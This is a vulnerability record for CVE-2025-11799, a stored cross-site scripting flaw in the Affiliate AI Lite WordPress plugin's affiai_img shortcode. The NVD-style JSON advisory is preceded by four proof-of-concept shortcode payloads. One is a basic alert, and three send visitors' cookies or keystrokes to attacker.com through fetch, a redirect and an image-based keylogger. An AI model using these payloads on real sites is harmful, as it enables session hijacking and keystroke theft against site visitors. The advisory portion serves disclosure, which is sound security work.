CVE-2025-11799

<!-- CVE-2025-11799 PoC: Stored XSS via asin parameter --> <!-- Requires contributor-level access or higher --> <!-- Basic XSS PoC --> [affiai_img asin='"><script>alert(document.cookie)</script>'] <!-- Cookie stealing PoC --> [affiai_img asin='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] <!-- Session hijacking PoC --> [affiai_img asin='"><script>document.location='https://attacker.com/phishing?token='+document.cookie</script>'] <!-- Keylogger PoC --> [affiai_img asin='"><script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>']

{"cve": {"id": "CVE-2025-11799", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:50.803", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Affiliate AI Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'asin' shortcode attribute in the affiai_img shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/affiliate-ai-lite/tags/1.0.1/includes/afx-img.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3399153%40affiliate-ai-lite&new=3399153%40affiliate-ai-lite", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b05f4ef4-aa64-4cf4-a278-604df8407d12?source=cve", "source": "[email protected]"}]}}